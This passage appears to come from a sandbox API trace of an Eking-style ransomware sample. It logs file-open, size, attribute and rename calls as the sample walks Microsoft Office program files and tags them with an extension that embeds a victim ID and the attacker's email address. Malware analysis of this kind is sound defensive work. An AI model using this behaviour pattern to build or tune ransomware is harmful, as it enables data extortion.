files\\common files\\microsoft shared\\office14\\1033\\readme.htm")) returned 0x20 [0169.448] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\readme.htm.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0169.448] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\readme.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0169.449] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\xlsrvintl.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\xlsrvintl.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0169.630] GetFileSizeEx (in: hFile=0x1d0, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=105344) returned 1 [0169.630] CloseHandle (hObject=0x1d0) returned 1 [0169.630] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\xlsrvintl.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\xlsrvintl.dll")) returned 0x20 [0169.630] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\xlsrvintl.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\xlsrvintl.dll")) returned 0x20 [0169.630] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\xlsrvintl.dll.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\xlsrvintl.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0169.630] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\xlsrvintl.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\xlsrvintl.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0169.631] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEREP.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acerep.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0169.631] GetFileSizeEx (in: hFile=0x1d0, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=691616) returned 1 [0169.631] CloseHandle (hObject=0x1d0) returned 1 [0169.631] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEREP.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acerep.dll")) returned 0x20 [0169.632] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEREP.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acerep.dll")) returned 0x20 [0169.632] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEREP.DLL.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acerep.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0169.632] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEREP.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acerep.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0169.633] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACETXT.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acetxt.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0169.633] GetFileSizeEx (in: hFile=0x1d0, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=297360) returned 1 [0169.633] CloseHandle (hObject=0x1d0) returned 1 [0169.633] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACETXT.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acetxt.dll")) returned 0x20 [0169.633] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACETXT.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acetxt.dll")) returned 0x20 [0169.633] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACETXT.DLL.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acetxt.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0169.633] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACETXT.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acetxt.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0169.634] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWDAT.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acewdat.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0169.634] GetFileSizeEx (in: hFile=0x1d0, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=3050912) returned 1 [0169.634] CloseHandle (hObject=0x1d0) returned 1 [0169.634] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWDAT.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acewdat.dll")) returned 0x20 [0169.634] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWDAT.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acewdat.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWDAT.DLL.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acewdat.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0 [0169.635] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWDAT.DLL.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acewdat.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWDAT.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acewdat.dll")) returned 0 [0169.635] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWSS.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acewss.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c4 [0169.890] GetFileSizeEx (in: hFile=0x1c4, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=318368) returned 1 [0169.890] CloseHandle (hObject=0x1c4) returned 1 [0169.890] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWSS.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acewss.dll")) returned 0x20 [0169.890] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWSS.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acewss.dll")) returned 0x20 [0169.891] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWSS.DLL.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acewss.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0169.891] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWSS.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acewss.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0169.891] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_XPS.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\exp_xps.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c4 [0169.907] GetFileSizeEx (in: hFile=0x1c4, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=71032) returned 1 [0169.907] CloseHandle (hObject=0x1c4) returned 1 [0169.908] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_XPS.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\exp_xps.dll")) returned 0x20 [0169.908] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_XPS.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\exp_xps.dll")) returned 0x20 [0169.908] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_XPS.DLL.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\exp_xps.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0169.908] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_XPS.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\exp_xps.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0169.908] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\FLTLDR.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\fltldr.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c4 [0169.921] GetFileSizeEx (in: hFile=0x1c4, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=157024) returned 1 [0169.921] CloseHandle (hObject=0x1c4) returned 1 [0169.922] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\FLTLDR.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\fltldr.exe")) returned 0x20 [0169.922] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\FLTLDR.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\fltldr.exe")) returned 0x20 [0169.922] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\FLTLDR.EXE.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\fltldr.exe.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0169.922] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\FLTLDR.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\fltldr.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0169.924] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\IACOM2.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\iacom2.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0169.930] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=4289376) returned 1 [0169.930] CloseHandle (hObject=0x1ec) returned 1 [0169.931] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\IACOM2.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\iacom2.dll")) returned 0x20 [0169.931] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\IACOM2.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\iacom2.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\IACOM2.DLL.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\iacom2.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0 [0169.931] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\IACOM2.DLL.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\iacom2.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\IACOM2.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\iacom2.dll")) returned 0 [0169.931] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\LICLUA.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\liclua.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0169.934] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=204168) returned 1 [0169.934] CloseHandle (hObject=0x1ec) returned 1 [0169.934] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\LICLUA.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\liclua.exe")) returned 0x20 [0169.934] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\LICLUA.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\liclua.exe")) returned 0x20 [0169.934] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\LICLUA.EXE.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\liclua.exe.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0169.934] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\LICLUA.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\liclua.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0169.935] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\mso.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0169.936] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=25417600) returned 1 [0169.936] CloseHandle (hObject=0x1ec) returned 1 [0169.936] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\mso.dll")) returned 0x20 [0169.936] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\mso.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\mso.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0 [0169.936] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\mso.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\mso.dll")) returned 0 [0169.936] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOICONS.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msoicons.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0169.939] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=473952) returned 1 [0169.939] CloseHandle (hObject=0x1ec) returned 1 [0169.939] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOICONS.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msoicons.exe")) returned 0x20 [0169.940] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOICONS.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msoicons.exe")) returned 0x20 [0169.940] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOICONS.EXE.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msoicons.exe.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0169.940] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOICONS.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msoicons.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0169.940] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSORES.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msores.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0169.941] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=72521600) returned 1 [0169.941] CloseHandle (hObject=0x1ec) returned 1 [0169.941] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSORES.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msores.dll")) returned 0x20 [0169.941] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSORES.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msores.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSORES.DLL.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msores.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0 [0169.942] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSORES.DLL.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msores.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSORES.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msores.dll")) returned 0 [0169.942] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\msoshext.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msoshext.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0169.942] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=1269648) returned 1 [0169.942] CloseHandle (hObject=0x1ec) returned 1 [0169.942] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\msoshext.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msoshext.dll")) returned 0x20 [0169.942] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\msoshext.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msoshext.dll")) returned 0x20 [0169.943] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\msoshext.dll.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msoshext.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0169.943] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\msoshext.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msoshext.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0169.943] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXEV.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msoxev.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0169.944] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=56144) returned 1 [0169.944] CloseHandle (hObject=0x1ec) returned 1 [0169.944] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXEV.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msoxev.dll")) returned 0x20 [0169.944] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXEV.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msoxev.dll")) returned 0x20 [0169.944] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXEV.DLL.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msoxev.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0169.945] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXEV.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msoxev.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0169.945] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLED.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msoxmled.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0169.947] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=121168) returned 1 [0169.947] CloseHandle (hObject=0x1ec) returned 1 [0169.947] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLED.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msoxmled.exe")) returned 0x20 [0169.947] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLED.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msoxmled.exe")) returned 0x20 [0169.947] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLED.EXE.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msoxmled.exe.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0169.947] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLED.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msoxmled.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0169.949] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLMF.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msoxmlmf.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0169.949] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=56192) returned 1 [0169.949] CloseHandle (hObject=0x1ec) returned 1 [0169.949] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLMF.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msoxmlmf.dll")) returned 0x20 [0169.949] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft 